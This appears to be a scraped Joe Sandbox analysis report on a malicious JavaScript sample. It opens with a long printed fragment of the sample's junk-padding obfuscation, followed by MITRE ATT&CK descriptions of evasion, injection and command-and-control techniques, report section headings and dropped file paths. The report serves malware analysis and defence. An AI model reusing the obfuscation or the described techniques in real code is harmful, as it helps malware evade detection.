1210	zckjuxjqj = "M";
1211	zckjuxjqj = "D";
1212	zckjuxjqj = "t";
1213	zckjuxjqj = "a";
1214	zckjuxjqj = "b";
1215	zckjuxjqj = "N";
1216	zckjuxjqj = "i";
1217	zckjuxjqj = "L";
1218	zckjuxjqj = "f";
1219	zckjuxjqj = "v";
1220	zckjuxjqj = "w";
1221	zckjuxjqj = "b";
1222	zckjuxjqj = "H";
1223	zckjuxjqj = "r";
1224	zckjuxjqj = "q";
1225	zckjuxjqj = "L";
1226	zckjuxjqj = "V";
1227	zckjuxjqj = "p";
1228	zckjuxjqj = "M";
1229	zckjuxjqj = "T";
1230	zckjuxjqj = "M";
1231	zckjuxjqj = "o";
1232	zckjuxjqj = "N";
1233	zckjuxjqj = "c";
1234	zckjuxjqj = "j";
1235	zckjuxjqj = "B";
1236	zckjuxjqj = "x";
1237	zckjuxjqj = "O";
1238	zckjuxjqj = "G";
1239	zckjuxjqj = "G";
1240	zckjuxjqj = "r";
1241	zckjuxjqj = "G";
1242	zckjuxjqj = "v";
1243	zckjuxjqj = "n";
1244	zckjuxjqj = "s";
1245	zckjuxjqj = "D";
1246	zckjuxjqj = "J";
1247	zckjuxjqj = "U";
1248	zckjuxjqj = "2";
1249	vqgnygmqu = "W";
1250	vqgnygmqu = "H";
1251	vqgnygmqu = "S";
1252	vqgnygmqu = "x";
1253	vqgnygmqu = "P";
1254	vqgnygmqu = "D";
1255	vqgnygmqu = "t";
1256	vqgnygmqu = "Q";
1257	vqgnygmqu = "X";
1258	vqgnygmqu = "d";
1259	vqgnygmqu = "X";
1260	vqgnygmqu = "r";
1261	vqgnygmqu = "M";
1262	vqgnygmqu = "i";
1263	vqgnygmqu = "a";
1264	vqgnygmqu = "H";
1265	vqgnygmqu = "v";
1266	vqgnygmqu = "W";
1267	vqgnygmqu = "j";
1268	vqgnygmqu = "T";
1269	vqgnygmqu = "I";
1270	vqgnygmqu = "Z";
1271	vqgnygmqu = "W";
1272	vqgnygmqu = "Q";
1273	vqgnygmqu = "M";
1274	vqgnygmqu = "a";
1275	vqgnygmqu = "j";
1276	qxfcsl = "y";
1277	qxfcsl = "z";
1278	qxfcsl = "W";
1279	qxfcsl = "Y";
1280	qxfcsl = "R";
1281	qxfcsl = "J";
1282	qxfcsl = "K";
1283	qxfcsl = "m";
1284	qxfcsl = "e";
1285	qxfcsl = "w";
1286	qxfcsl = "T";
1287	qxfcsl = "s";
1288	qxfcsl = "Q";
1289	qxfcsl = "h";
1290	qxfcsl = "T";
1291	qxfcsl = "T";
1292	qxfcsl = "t";
1293	qxfcsl = "b";
1294	qxfcsl = "V";
1295	qxfcsl = "e";
1296	qxfcsl = "x";
1297	qxfcsl = "q";
1298	tltuwr = "J";
1299	tltuwr = "m";
1300	tltuwr = "w";
1301	tltuwr = "m";
1302	tltuwr = "w";
1303	tltuwr = "s";
1304	tltuwr = "P";
1305	tltuwr = "F";
1306	tltuwr = "G";
1307	tltuwr = "a";
1308	tltuwr = "b";
1309	tltuwr = "V";
1310	tltuwr = "G";
1311	tltuwr = "x";
1312	tltuwr = "V";
1313	tltuwr = "d";
1314	tltuwr = "n";
1315	tltuwr = "b";
1316	tltuwr = "o";
1317	tltuwr = "r";
1318	tltuwr = "Q";
1319	tltuwr = "W";
1320	tltuwr = "u";
1321	tltuwr = "B";
1322	tltuwr = "f";
1323	tltuwr = "g";
1324	tltuwr = "l";
1325	tltuwr = "w";
1326	tltuwr = "S";
1327	tltuwr = "g";
1328	tltuwr = "x";
1329	tltuwr = "d";
1330	tltuwr = "H";
1331	oavwh = "Z";
1332	oavwh = "Z";
1333	oavwh = "q";
1334	oavwh = "O";
1335	oavwh = "v";
1336	oavwh = "t";
1337	oavwh = "B";
1338	oavwh = "v";
1339	oavwh = "v";
1340	oavwh = "f";
1341	oavwh = "d";
1342	oavwh = "T";
1343	oavwh = "y";
1344	oavwh = "r";
1345	oavwh = "a";
1346	oavwh = "j";
1347	oavwh = "A";
1348	oavwh = "B";
1349	oavwh = "W";
1350	oavwh = "w";
1351	oavwh = "A";
1352	oavwh = "Q";
1353	oavwh = "A";
1354	oavwh = "A";
1355	oavwh = "D";
1356	oavwh = "V";
1357	oavwh = "R";
1358	oavwh = "A";
1359	oavwh = "m";
1360	oavwh = "Z";
1361	oavwh = "N";
1362	oavwh = "n";
1363	oavwh = "o";
1364	oavwh = "W";
1365	oavwh = "F";
1366	oavwh = "\"";
1367	gnchf = "h";
1368	gnchf = "e";
1369	gnchf = "X";
1370	gnchf = "Z";
1371	gnchf = "N";
1372	gnchf = "g";
1373	gnchf = "t";
1374	gnchf = "o";
1375	gnchf = "E";
1376	gnchf = "M";
1377	gnchf = "b";
1378	eufrnj = "M";
1379	eufrnj = "e";
1380	eufrnj = "s";
1381	eufrnj = "i";
1382	eufrnj = "H";
1383	eufrnj = "x";
1384	eufrnj = "d";
1385	eufrnj = "D";
1386	eufrnj = "j";
1387	eufrnj = "X";
1388	eufrnj = "H";
1389	eufrnj = "E";
1390	eufrnj = "C";
1391	eufrnj = "f";
1392	eufrnj = "Y";
1393	eufrnj = "8";
1394	cgjxdhl = "l";
1395	cgjxdhl = "g";
1396	cgjxdhl = "K";
1397	cgjxdhl = "C";
1398	cgjxdhl = "T";
1399	cgjxdhl = "O";
1400	cgjxdhl = "X";
1401	cgjxdhl = "Q";
1402	cgjxdhl = "v";
1403	cgjxdhl = "L";
1404	cgjxdhl = "d";
1405	cgjxdhl = "p";
1406	cgjxdhl = "Z";
1407	cgjxdhl = "v";
1408	cgjxdhl = "p";
1409	cgjxdhl = "D";
1410	cgjxdhl = ".";
1411	ibcgmk = "d";
1412	ibcgmk = "v";
1413	ibcgmk = "S";
1414	ibcgmk = "M";
1415	ibcgmk = "Y";
1416	ibcgmk = "x";
1417	ibcgmk = "U";
1418	ibcgmk = "l";
1419	ibcgmk = "4";
1420	jtlsgts = "a";
1421	jtlsgts = "i";
1422	jtlsgts = "Q";
1423	jtlsgts = "j";
1424	jtlsgts = "M";
1425	jtlsgts = "Q";
1426	jtlsgts = "p";
1427	jtlsgts = "V";
1428	jtlsgts = "e";
1429	jtlsgts = "R";
1430	jtlsgts = "d";
1431	jtlsgts = "Z";
1432	jtlsgts = "i";
1433	jtlsgts = "V";
1434	jtlsgts = "S";
1435	jtlsgts = "J";
1436	jtlsgts = "D";
1437	jtlsgts = "z";
1438	jtlsgts = "x";
1439	jtlsgts = "L";
1440	jtlsgts = "N";
1441	jtlsgts = "u";
1442	jtlsgts = "Y";
1443	jtlsgts = "P";
1444	jtlsgts = "v";
1445	jtlsgts = "r";
1446	jtlsgts = "Q";
1447	jtlsgts = "w";
1448	jtlsgts = "z";
1449	jtlsgts = "x";
1450	jtlsgts = "c";
1451	jtlsgts = "X";
1452	jtlsgts = "p";
1453	jtlsgts = "m";
1454	jtlsgts = "c";
1455	jtlsgts = "p";
1456	jtlsgts = "p";
1457	jtlsgts = "W";
1458	jtlsgts = "v";
1459	jtlsgts = "t";
1460	jtlsgts = "B";
1461	jtlsgts = "y";
1462	jtlsgts = "n";
1463	jtlsgts = "c";
1464	bllgkgrf ( );	bllgkgrf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 168423236840504572.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8f09b5fe-1737-4f22-ac48-6902f9344b04.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6ea726.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c48129e1-55c3-4a87-aa1d-eccecb3620c1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
168423236840504572.js